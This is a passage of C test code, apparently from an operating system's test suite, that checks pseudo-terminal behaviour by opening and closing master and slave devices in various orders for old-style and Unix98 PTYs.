is not very important * that this works, but the TTY driver should currently support it. */ if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); test_comm(masterfd, slavefd); /* This is closing order B. This may or may not cause a SIGHUP. */ if (close(masterfd) < 0) e(0); if (close(slavefd) < 0) e(0); /* Try the normal open procedure. */ if (!oldstyle) oldstyle = get_pty(&masterfd, pname, tname); else if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0); if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); test_comm(masterfd, slavefd); if (close(slavefd) < 0) e(0); if (close(masterfd) < 0) e(0); /* * Try reopening and closing the slave, without opening the master. * This should work on old-style PTYS, but not on Unix98 PTYs. */ if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) >= 0) { if (!oldstyle) e(0); if (close(slavefd) < 0) e(0); } else if (oldstyle) e(0); /* Again, try the normal open procedure. */ if (!oldstyle) oldstyle = get_pty(&masterfd, pname, tname); else if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0); if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); test_comm(masterfd, slavefd); if (close(slavefd) < 0) e(0); if (close(masterfd) < 0) e(0); /* * Finally, try opening the slave first. This does not work with * Unix98 PTYs. */ if (oldstyle) { if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0); test_comm(masterfd, slavefd); if (close(slavefd) < 0) e(0); if (close(masterfd) < 0) e(0); } if (sigaction(SIGHUP, &oact, NULL) < 0) e(0); }